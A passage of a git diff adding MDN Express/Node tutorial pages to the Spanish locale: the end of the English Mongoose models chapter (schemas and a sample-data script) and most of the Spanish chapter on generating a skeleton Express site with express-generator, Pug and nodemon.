+    date_of_death: {type: Date},
+  }
+);
+
+<strong>// Virtual for author's full name
+AuthorSchema
+.virtual('name')
+.get(function () {
+  return this.family_name + ', ' + this.first_name;
+});
+
+// Virtual for author's lifespan
+AuthorSchema
+</strong>.virtual('lifespan')
+.get(function () {
+  return (this.date_of_death.getYear() - this.date_of_birth.getYear()).toString();
+});
+
+// Virtual for author's URL
+AuthorSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/author/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Author', AuthorSchema);
+
+</pre>
+
+<p>We've also declared a <a href="#Virtual_properties">virtual</a> for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.<br>
+ At this point, a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!</p>
+</div>
+
+<p>At the end of the module we export the model.</p>
+
+<h3 id="Book_model">Book model</h3>
+
+<p>Copy the <code>Book</code> schema code shown below and paste it into your <strong>./models/book.js</strong> file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookSchema = new Schema(
+  {
+    title: {type: String, required: true},
+  <strong>  author: {type: Schema.Types.ObjectId, ref: 'Author', required: true},</strong>
+    summary: {type: String, required: true},
+    isbn: {type: String, required: true},
+  <strong>  genre: [{type: Schema.Types.ObjectId, ref: 'Genre'}]</strong>
+  }
+);
+
+// Virtual for book's URL
+BookSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/book/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Book', BookSchema);
+</pre>
+
+<p>The main difference here is that we've created two references to other models:</p>
+
+<ul>
+ <li>author is a reference to a single <code>Author</code> model object, and is required.</li>
+ <li>genre is a reference to an array of <code>Genre</code> model objects. We haven't declared this object yet!</li>
+</ul>
+
+<h3 id="BookInstance_model">BookInstance model</h3>
+
+<p>Finally, copy the <code>BookInstance</code> schema code shown below and paste it into your <strong>./models/bookinstance.js</strong> file. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookInstanceSchema = new Schema(
+  {
+    book: { type: Schema.Types.ObjectId, ref: 'Book', required: true }, //reference to the associated book
+    imprint: {type: String, required: true},
+    status: {type: String, required: true, <strong>enum: ['Available', 'Maintenance', 'Loaned', 'Reserved']</strong>, <strong>default: 'Maintenance'</strong>},
+    due_back: {type: Date, <strong>default: Date.now</strong>}
+  }
+);
+
+// Virtual for bookinstance's URL
+BookInstanceSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/bookinstance/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre>
+
+<p>The new things we show here are the field options:</p>
+
+<ul>
+ <li><code>enum</code>: This allows us to set the allowed values of a string. In this case, we use it to specify the availability status of our books (using an enum means that we can prevent mis-spellings and arbitrary values for our status)</li>
+ <li><code>default</code>: We use default to set the default status for newly created bookinstances to maintenance and the default <code>due_back</code> date to <code>now</code> (note how you can call the Date function when setting the date!)</li>
+</ul>
+
+<p>Everything else should be familiar from our previous schema.</p>
+
+<h3 id="Genre_model_-_challenge!">Genre model - challenge!</h3>
+
+<p>Open your <strong>./models/genre.js</strong> file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).</p>
+
+<p>The definition will be very similar to the other models:</p>
+
+<ul>
+ <li>The model should have a <code>String</code> SchemaType called <code>name</code> to describe the genre.</li>
+ <li>This name should be required and have between 3 and 100 characters.</li>
+ <li>Declare a <a href="#Virtual_properties">virtual</a> for the genre's URL, named <code>url</code>.</li>
+ <li>Export the model.</li>
+</ul>
+
+<h2 id="Testing_—_create_some_items">Testing — create some items</h2>
+
+<p>That's it. We now have all models for the site set up!</p>
+
+<p>In order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an <em>independent</em> script to create items of each type:</p>
+
+<ol>
+ <li>Download (or otherwise create) the file <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> inside your <em>express-locallibrary-tutorial</em> directory (in the same level as <code>package.json</code>).
+
+  <div class="note">
+  <p><strong>Note:</strong> You don't need to know how <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> works; it just adds sample data into the database.</p>
+  </div>
+ </li>
+ <li>Enter the following commands in the project root to install the <em>async</em> module that is required by the script (we'll discuss this in later tutorials, )
+  <pre class="brush: bash">npm install async</pre>
+ </li>
+ <li>Run the script using node in your command prompt, passing in the URL of your <em>MongoDB</em> database (the same one you replaced the <em>insert_your_database_url_here </em>placeholder with, inside <code>app.js</code> earlier):
+  <pre class="brush: bash">node populatedb &lt;your mongodb url&gt;​​​​</pre>
+ </li>
+ <li>The script should run through to completion, displaying items as it creates them in the terminal.</li>
+</ol>
+
+<div class="note">
+<p><strong>Tip:</strong> Go to your database on <a href="https://mlab.com/home">mLab</a>. You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article, we've learned a bit about databases and ORMs on Node/Express, and a lot about how Mongoose schema and models are defined. We then used this information to design and implement <code>Book</code>, <code>BookInstance</code>, <code>Author</code> and <code>Genre</code> models for the <em>LocalLibrary</em> website.</p>
+
+<p>Last of all we tested our models by creating a number of instances (using a standalone script). In the next article we'll look at creating some pages to display these objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
+ <li><a href="http://mongoosejs.com/">Mongoose website</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose Guide</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/schematypes.html">Schema Types</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/server-side/express_nodejs/skeleton_website/index.html b/files/es/learn/server-side/express_nodejs/skeleton_website/index.html
new file mode 100644
index 0000000000..b829e52665
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/skeleton_website/index.html
@@ -0,0 +1,502 @@
+---
+title: 'Express Tutorial Part 2: Creating a skeleton website'
+slug: Learn/Server-side/Express_Nodejs/skeleton_website
+translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p class="summary">Este segundo artículo de nuestro <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial Express</a> muestra cómo puede crear un "esqueleto" para un proyecto de sitio web que luego puede completar con rutas, plantillas/vistas, y llamadas a base de datos especifícas del sitio.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Configurar un entorno de desarrollo de Node</a>. Revise el Tutorial Express.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Poder empezar sus nuevos proyectos web usando el <em>Generador de Aplicaciones Express</em>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_General">Visión General</h2>
+
+<p>Este artículo muestra cómo puede crear un sitio web "esqueleto"  usando la herramienta <a href="https://expressjs.com/en/starter/generator.html">Generador de Aplicaciones Express</a>, que luego puede completar con rutas, vistas/plantillas, y llamadas a base de datos especifícas del sitio.  En este caso usaremos la herramienta para crear el framework para nuestro  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">website Local Library</a>, al que luego agregaremos todo el código que el sitio necesite.  El proceso es extremadamente simple, requiriendo sólo que se invoque el generador en la línea de comandos con un nombre para el nuevo proyecto, opcionalmente especificando también el motor de plantillas y el generador de CSS a utilizar.</p>
+
+<p><span style="line-height: 1.5;">Las siguientes secciones muestran como puede llamar al generador de aplicaciones, y proporcionan una pequeña explicación sobre las diferentes opciones para vistas y CSS.  También explicaremos como está estructurado el esqueleto del sitio web.  Al final, mostraremos como puede ejecutar el sitio web para verificar que funciona.</span></p>
+
+<div class="note">
+<p><span style="line-height: 1.5;"><strong>Nota</strong>: El <em>Generador de Aplicaciones Express</em> no es el único generador para aplicaciones Express, y el proyecto generado no es la única forma viable para estructurar sus archivos y directorios.  El sitio generado, sin embargo, tiene una estructura modular que es fácil de extender y comprender.  Para informacion sobre una <em>mínima</em>  aplicación Express, vea el <a href="https://expressjs.com/en/starter/hello-world.html">Ejemplo Hello world </a> (Express docs).</span></p>
+</div>
+
+<h2 id="Usando_el_generador_de_aplicaciones">Usando el generador de aplicaciones</h2>
+
+<p>Ya debe haber instalado el generador como parte de <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Configurar un entorno de desarrollo de Node</a>. Como un rápido recordatorio, la herramienta generador se instala para todos los sitios usando el manejador de paquetes NPM, como se muestra:</p>
+
+<pre class="brush: bash notranslate"><code>npm install express-generator -g</code></pre>
+
+<p>El generador tiene un número de opciones, las cuales puede observar en la línea de comandos usando el comando <code>--help</code> (o bien  <code>-h</code>):</p>
+
+<pre class="brush: bash notranslate">&gt; express --help
+
+  Usage: express [options] [dir]
+
+  Options:
+
+    -h, --help           output usage information
+        --version        output the version number
+    -e, --ejs            add ejs engine support
+        --pug            add pug engine support
+        --hbs            add handlebars engine support
+    -H, --hogan          add hogan.js engine support
+    -v, --view &lt;engine&gt;  add view &lt;engine&gt; support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade)
+    -c, --css &lt;engine&gt;   add stylesheet &lt;engine&gt; support (less|stylus|compass|sass) (defaults to plain css)
+        --git            add .gitignore
+    -f, --force          force on non-empty directory
+</pre>
+
+<p>Simplemente puede especificar <code>express</code> para crear un proyecto dentro del directorio actual usando el motor de plantillas <em>Jade</em> y CSS plano (si especifica un nombre de directorio entonces el proyecto será creado en un subdirectorio con ese nombre).</p>
+
+<pre class="brush: bash notranslate"><code>express</code></pre>
+
+<p>También puede seleccionar el motor de plantillas para las vistas usando  <code>--view</code> y/o un motor generador de CSS usando <code>--css</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Las otras opciones para elegir motores de plantillas (e.g. <code>--hogan</code>, <code>--ejs</code>, <code>--hbs</code> etc.) están descontinuadas. Use <code>--view</code> (o bien<code> -v</code>)!</p>
+</div>
+
+<h3 id="¿Cuál_motor_de_vistas_debo_usar">¿Cuál motor de vistas debo usar?</h3>
+
+<p>El <em>Generador de Aplicaciones Express</em> le permite configurar un número de populares motores de plantillas, incluyendo <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, y <a href="https://www.npmjs.com/package/vash">Vash</a>, aunque si no se especifica una opcion de vista, selecciona Jade por defecto. Express puede soportar un gran número de motores de plantillas <a href="https://github.com/expressjs/express/wiki#template-engines">aquí una lista</a>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si quiere usar un motor de plantillas que no es soportado por el generador entonces vea el artículo  <a href="https://expressjs.com/en/guide/using-template-engines.html">Usando motores de plantillas con Express</a> (Express docs) y la documentación de su motor de plantillas.</p>
+</div>
+
+<p>Generalmente hablando debe seleccionar un motor de plantillas que le brinde toda la funcionalidad que necesite y le permita ser productivo rápidamente  — o en otras palabras, en la misma forma en que selecciona cualquier otro componente.  Alguna de las cosas a considerar cuando se comparan motores de plantillas:</p>
+
+<ul>
+ <li>Tiempo de productividad — Si su equipo ya tiene experiencia con un lenguaje de plantillas entonces  es probable que sean más productivos usando ese lenguaje.  Si no,  debería considerar la curva de aprendizaje relativa del motor de plantillas candidato. </li>
+ <li>Popularidad y actividad — Revise la popularidad del motor y si tiene una comunidad activa.  Es importante obtener soporte para el motor cuando tenga problemas durante la vida útil del sitio web.</li>
+ <li>Estilo — Algunos motores de plantillas usan marcas específicas para indicar inserción de contenido dentro del HTML "ordinario", mientras que otros construyen el HTML usando una sintaxis diferente (por ejemplo, usando indentación (sangría) y nombres de bloque).</li>
+ <li>Tiempo Renderizado/desempeño.</li>
+ <li>Características — debe considerar si los motores que elija poseen las siguientes características disponibles:
+  <ul>
+   <li>Herencia del diseño: Le permite definir una plantilla base y luego "heredar" sólo las partes  que desea que sean diferentes para una página particular.  Típicamente esto es un mejor enfoque que construir plantillas incluyendo un número de componentes requeridos, contruyéndolas desde cero cada vez. </li>
+   <li>Soporte para incluir: Le permite construir plantillas incluyendo otras plantillas.</li>
+   <li>Control consiso de la sintanxis de variables y ciclos.</li>
+   <li>Habilidad para filtrar valores de variables a nivel de las plantillas (e.g. convertir variables en mayúsculas, o darle formato a una fecha).</li>
+   <li>Habilidad para generar formatos de salida distintos al HTML (e.g. JSON o XML).</li>
+   <li>Soporte para operaciones asincrónas y de transmisión.</li>
+   <li>Pueden ser usadas tanto en el cliente como en el servidor. Si un motor de plantillas puede ser usado del lado del cliente esto da la posibilidad de servir datos y tener todo o la mayoría del renderizado del lado del cliente.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Tip:</strong> En Internet hay muchos recursos que le ayudarán a comparar diferentes opciones. </p>
+</div>
+
+<p>Para este proyecto usaremos el motor de plantillas <a href="https://pugjs.org/api/getting-started.html">Pug</a> (este es el  recientemente renombrado motor Jade), ya que es de los más populares lenguajes de plantillas Express/JavaScript y es soportado por el generador por defecto.</p>
+
+<h3 id="¿Cuál_motor_de_hojas_de_estilo_CSS_debería_usar">¿Cuál motor de hojas de estilo CSS debería usar?</h3>
+
+<p>El <em>Generador de Aplicaciones Express</em> le permite crear un proyecto que puede usar los más comunes motores  de  hojas  de estilos CSS: <a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>CSS tiene  algunas  limitaciones  que  dificultan ciertas  tareas. Los  motores  de hojas de estilos  CSS le permiten usar una sintaxis más poderosa para definir su  CSS, y luego compilar la definición en texto  plano para  su uso  en los  navegadores .</p>
+</div>
+
+<p>Como los  motores  de plantillas, debería usar el motor CSS que le permita a su  equipo  ser más  productivo.  Para este proyecto  usaremos CSS ordinario (opción  por defecto) ya que nuestros requerimientos no son lo suficientemente complicados para justificar el uso de un motor CSS. </p>
+
+<h3 id="¿Cuál_base_de_datos_debería_usar">¿Cuál base de datos  debería usar?</h3>
+
+<p>El código generado no usa o incluye ninguna base de datos.  Las aplicaciones <em>Express</em> pueden  usar cualquier <a href="https://expressjs.com/en/guide/database-integration.html">mecanismo de bases  de datos</a> soportado por  <em>Node</em> (<em>Express</em> por si  mismo no define ningún comportamiento o requerimiento para el manejo de bases de datos).</p>
+
+<p>Discutiremos la integración con una base de datos en un posterior artículo.</p>
+
+<h2 id="Creando_el_proyecto">Creando el proyecto</h2>
+
+<p>Para el ejemplo que vamos a crear la app <em>Local Library</em>, crearemos un proyecto llamado <em>express-locallibrary-tutorial usando la librería de plantillas </em><em>Pug</em> y ningún motor CSS.</p>
+
+<p>Primero navegue a donde quiera crear el proyecto y luego ejecute el <em>Generador de Aplicaciones Express en la línea  de comandos como se muestra</em>:</p>
+
+<pre class="brush: bash notranslate">express express-locallibrary-tutorial --view=pug
+</pre>
+
+<p>El generador creará (y listará) los archivos del proyecto.</p>
+
+<pre class="brush: bash notranslate">   create : express-locallibrary-tutorial
+   create : express-locallibrary-tutorial/package.json
+   create : express-locallibrary-tutorial/app.js
+   create : express-locallibrary-tutorial/public/images
+   create : express-locallibrary-tutorial/public
+   create : express-locallibrary-tutorial/public/stylesheets
+   create : express-locallibrary-tutorial/public/stylesheets/style.css
+   create : express-locallibrary-tutorial/public/javascripts
+   create : express-locallibrary-tutorial/routes
+   create : express-locallibrary-tutorial/routes/index.js
+   create : express-locallibrary-tutorial/routes/users.js
+   create : express-locallibrary-tutorial/views
+   create : express-locallibrary-tutorial/views/index.pug
+   create : express-locallibrary-tutorial/views/layout.pug
+   create : express-locallibrary-tutorial/views/error.pug
+   create : express-locallibrary-tutorial/bin
+   create : express-locallibrary-tutorial/bin/www
+
+   install dependencies:
+     &gt; cd express-locallibrary-tutorial &amp;&amp; npm install
+
+   run the app:
+     &gt; SET DEBUG=express-locallibrary-tutorial:* &amp; npm start</pre>
+
+<p>Al final de la lista el generador mostrará instrucciones sobre como instalar las dependencias necesarias (mostradas en el archivo <strong>package.json</strong>) y luego como ejecutar la aplicación (las instrucciones anteriores son para windows; en Linux/macOS serán ligeramente diferentes).</p>
+
+<h2 id="Ejecutando_el_esqueleto_del_sitio_web">Ejecutando el esqueleto del sitio web</h2>
+
+<p>En este punto tenemos un esqueleto completo de nuestro proyecto.  El sitio web  no hace mucho actualmente, pero es bueno ejecutarlo para ver como funciona.</p>
+
+<ol>
+ <li>Primero instale las dependencias (el comando <code>install</code> recuperará todas las dependencias listadas e el archivo <strong>package.json</strong> del proyecto).
+
+  <pre class="brush: bash notranslate">cd express-locallibrary-tutorial
+npm install</pre>
+ </li>
+ <li>Luego ejecute la aplicación.
+  <ul>
+   <li>En Windows, use este  comando:
+    <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* &amp; npm start</pre>
+   </li>
+   <li>En macOS o Linux, use este comando:
+    <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm start
+</pre>
+   </li>
+  </ul>
+ </li>
+ <li>Luego carge en su navegador <a href="http://localhost:3000/">http://localhost:3000/</a> para acceder a la aplicación.</li>
+</ol>
+
+<p>Debería ver una página parecida a esta:</p>
+
+<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p>
+
+<p>Tiene una aplicación Express funcional, ejecutandose en <em>localhost:3000</em>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> También podría ejecutar la app usando el comando <code>npm start</code>. Especificado la variable DEBUG como se muestra habilita el logging/debugging por consola. Por ejemplo, cuando visite la página mostrada arriba verá la información de depuración como esta:</p>
+
+<pre class="brush: bash notranslate">&gt;SET DEBUG=express-locallibrary-tutorial:* &amp; npm start
+
+&gt; express-locallibrary-tutorial@0.0.0 start D:\express-locallibrary-tutorial
+&gt; node ./bin/www
+
+  express-locallibrary-tutorial:server Listening on port 3000 +0ms
+GET / 200 288.474 ms - 170
+GET /stylesheets/style.css 200 5.799 ms - 111
+GET /favicon.ico 404 34.134 ms - 1335</pre>
+</div>
+
+<h2 id="Habilite_el_reinicio_del_servidor_cuando_los_archivos_sean_modificados">Habilite el reinicio del servidor cuando los archivos sean modificados</h2>
+
+<p>Cualquier cambio que le haga a su sitio web Express no será visible hasta que reinicie el servidor. Rapidamente, tener que detener y reiniciar el servidor cada vez que hacemos un cambio, se vuelve irritante, así que es beneficioso tomarse un tiempo y automátizar el reinicio del servidor cuando sea necesario.</p>
+
+<p>Una de las herramientas más sencillas para este propósito es <a href="https://github.com/remy/nodemon">nodemon</a>. Éste usualmente se instala globalmente (ya que es una "herramienta"), pero aquí lo instalaremos y usaremos localmente como una dependencia de desarrollo, así cualquier desarrollador que esté trabajando con el proyecto lo obtendrá automáticamente cuando instale la aplicación. Use el siguiente comando en el directorio raíz del esqueleto del proyecto:</p>
+
+<pre class="brush: bash notranslate">npm install --save-dev nodemon</pre>
+
+<p>Si abre el archivo <strong>package.json</strong> de su proyecto verá una nueva sección con esta dependencia:</p>
+
+<pre class="brush: json notranslate">  "devDependencies": {
+    "nodemon": "^1.14.11"
+  }
+</pre>
+
+<p>Debido a que la herramienta no fue instalada globalmente no podemos ejecutarla desde la línea de comandos (a menos que la agreguemos a la ruta) pero podemos llamarla desde un script NPM porque NPM sabe todo sobre los paquetes instalados. Busque la sección <code>scripts</code> de su package.json. Inicialmente contendrá una línea, la cual comienza con <code>"start"</code>. Actualicela colocando una coma al final de la línea, y agregue la línea <code>"devstart"</code> mostrada abajo:</p>
+
+<pre class="brush: json notranslate">  "scripts": {
+    "start": "node ./bin/www"<strong>,</strong>
+<strong>    "devstart": "nodemon ./bin/www"</strong>
+  },
+</pre>
+
+<p>Ahora podemos iniciar el servidor casi exactamente como antes, pero especificando el comando devstart:</p>
+
+<ul>
+ <li>En Windows, use este comando:
+  <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* &amp; npm <strong>run devstart</strong></pre>
+ </li>
+ <li>En macOS or Linux, use este comando:
+  <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong>
+</pre>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Ahora si modifica cualquier archivo del proyecto el servidor se reiniciará  (o lo puede reiniciar <code>rs</code> en la consola de comandos en cualquier momento). Aún necesitará recargar el navegador para refrescar la página.</p>
+
+<p>Ahora tendremos que llamar "<code>npm run <em>&lt;nombre del script&gt;</em></code>" en vez de <code>npm start</code>, porque "start" es actualmente un comando NPM que es mapeado al nombre del script. Podríamos haber reemplazado el comando en el script <em>start</em> pero sólo queremos usar <em>nodemon</em> durante el desarrollo, así que tiene sentido crear un nuevo script para este comando.</p>
+</div>
+
+<h2 id="El_proyecto_generado">El proyecto generado</h2>
+
+<p>Observemos el proyecto que hemos creado.</p>
+
+<h3 id="Estructura_del_directorio">Estructura del directorio</h3>
+
+<p>El proyecto generado, ahora que ha instalado las dependencias, tiene la siguiente estructura de archivos (los archivos son los elementos que <strong>no</strong> están precedidos con "/"). El archivo <strong>package.json</strong> define las dependencias de la aplicación y otra información. También define un script de inicio que es el punto de entrada de la aplicación,  el archivo JavaScript <strong>/bin/www</strong>. Éste establece algunos de los manejadores de error de la aplicación y luego carga el archivo <strong>app.js</strong> para que haga el resto del trabajo.  Las rutas se almacenan en módulos separados en el directorio <strong>/routes</strong>. las plantillas se almacenan en el directorio /<strong>views</strong>.</p>
+
+<pre class="notranslate">/express-locallibrary-tutorial
+    <strong>app.js</strong>
+    /bin
+        <strong>www</strong>
+    <strong>package.json</strong>
+    /node_modules
+        [about 4,500 subdirectories and files]
+    /public
+        /images
+        /javascripts
+        /stylesheets
+            <strong>style.css</strong>
+    /routes
+        <strong>index.js</strong>
+        <strong>users.js</strong>
+    /views
+        <strong>error.pug</strong>
+        <strong>index.pug</strong>
+        <strong>layout.pug</strong>
+
+</pre>
+
+<p>Las siguientes secciones describen los archivos con más detalle. </p>
+
+<h3 id="package.json">package.json</h3>
+
+<p>El archivo <strong>package.json </strong>define las dependencias de la aplicación y otra información: </p>
+
+<pre class="brush: json notranslate">{
+  "name": "express-locallibrary-tutorial",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+  "dependencies": {
+    "body-parser": "~1.18.2",
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.2",
+    "morgan": "~1.9.0",
+    "pug": "~2.0.0-rc.4",
+    "serve-favicon": "~2.4.5"
+  },
+  "devDependencies": {
+    "nodemon": "^1.14.11"
+  }
+}
+</pre>
+
+<p>Las dependencias incluyen el paquete <em>express</em> y los paquetes para el motor de plantillas elegido (<em>pug</em>). Adicionalmente, tenemos los siguientes paquetes que son útiles en muchas aplicaciones web: </p>
+
+<ul>
+ <li><a href="https://www.npmjs.com/package/body-parser">body-parser</a>: Esto analiza la parte del cuerpo de una solicitud HTTP entrante y facilita la extracción de diferentes partes de la información contenida. Por ejemplo, puede usar esto para leer los parámetros POST.</li>
+ <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Se utiliza para analizar el encabezado de la cookie y rellenar req.cookies (esencialmente proporciona un método conveniente para acceder a la información de la cookie).</li>
+ <li><a href="https://www.npmjs.com/package/debug">debug</a>: Una pequeña utilidad de depuración de node modelada a partir de la técnica de depuración del núcleo de node.</li>
+ <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: Un middleware registrador de solicitudes HTTP para node.</li>
+ <li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: Middleware de node para servir un favicon (este es el icono utilizado para representar el sitio dentro de la pestaña del navegador, marcadores, etc.).</li>
+</ul>
+
+<p class="brush: bash">La sección de scripts define un script de "<em>start</em>", que es lo que invocamos cuando llamamos a npm start para iniciar el servidor. Desde la definición del script, puede ver que esto realmente inicia el archivo JavaScript <strong>./bin/www </strong>con <em>node</em>. También define un script "<em>devstart</em>", que invocamos cuando llamamos a npm run devstart en su lugar. Esto inicia el mismo archivo <strong>./bin/www</strong>, pero con <em>nodemon</em> en lugar de node.</p>
+
+<pre class="brush: json notranslate">  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+</pre>
+
+<h3 id="www_file">www file</h3>
+
+<p>El archivo <strong>/bin/www</strong> es el punto de entrada de la aplicación. Lo primero que hace es require () el punto de entrada de la aplicación "real" (<strong>app.js</strong>, en la raíz del proyecto) que configura y devuelve el objeto de la aplicación express ().</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+/**
+ * Module dependencies.
+ */
+
+<strong>var app = require('../app');</strong>
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <code>require()</code> es una función de node global que se usa para importar módulos en el archivo actual. Aquí especificamos el módulo app.js utilizando una ruta relativa y omitiendo la extensión de archivo opcional (.js).</p>
+</div>
+
+<p>El resto del código en este archivo configura un servidor HTTP de node con la aplicación configurada en un puerto específico (definido en una variable de entorno o 3000 si la variable no está definida), y comienza a escuchar e informar errores y conexiones del servidor. Por ahora no necesita saber nada más sobre el código (todo en este archivo es "repetitivo"), pero siéntase libre de revisarlo si está interesado.</p>
+
+<h3 id="app.js">app.js</h3>
+
+<p>Este archivo crea un objeto de aplicación rápida (aplicación denominada, por convención), configura la aplicación con varias configuraciones y middleware, y luego exporta la aplicación desde el módulo. El siguiente código muestra solo las partes del archivo que crean y exportan el objeto de la aplicación:</p>
+
+<pre class="brush: js notranslate"><code>var express = require('express');
+var app = express();
+...
+</code>module.exports = app;
+</pre>
+
+<p>De vuelta en el archivo de punto de entrada <strong>www</strong> anterior, es este objeto module.exports que se proporciona al llamante cuando se importa este archivo.</p>
+
+<p>Permite trabajar a través del archivo <strong>app.js </strong>en detalle. Primero importamos algunas bibliotecas de node útiles en el archivo usando require (), incluyendo <em>express</em>, <em>serve-favicon</em>, <em>morgan</em>, <em>cookie-parser</em> y <em>body-parser</em> que previamente descargamos para nuestra aplicación usando NPM; y <em>path</em>, que es una biblioteca central de nodos para analizar rutas de archivos y directorios.</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var path = require('path');
+var favicon = require('serve-favicon');
+var logger = require('morgan');
+var cookieParser = require('cookie-parser');
+var bodyParser = require('body-parser');
+</pre>
+
+<p>Luego require () modules de nuestro directorio de rutas. Estos modules/files contienen código para manejar conjuntos particulares de "routes" relacionadas (rutas URL). Cuando extendemos la aplicación esqueleto, por ejemplo, para enumerar todos los libros de la biblioteca, agregaremos un nuevo archivo para tratar las rutas relacionadas con los libros.</p>
+
+<pre class="brush: js notranslate">var index = require('./routes/index');
+var users = require('./routes/users');
+</pre>
+
+<div class="note">
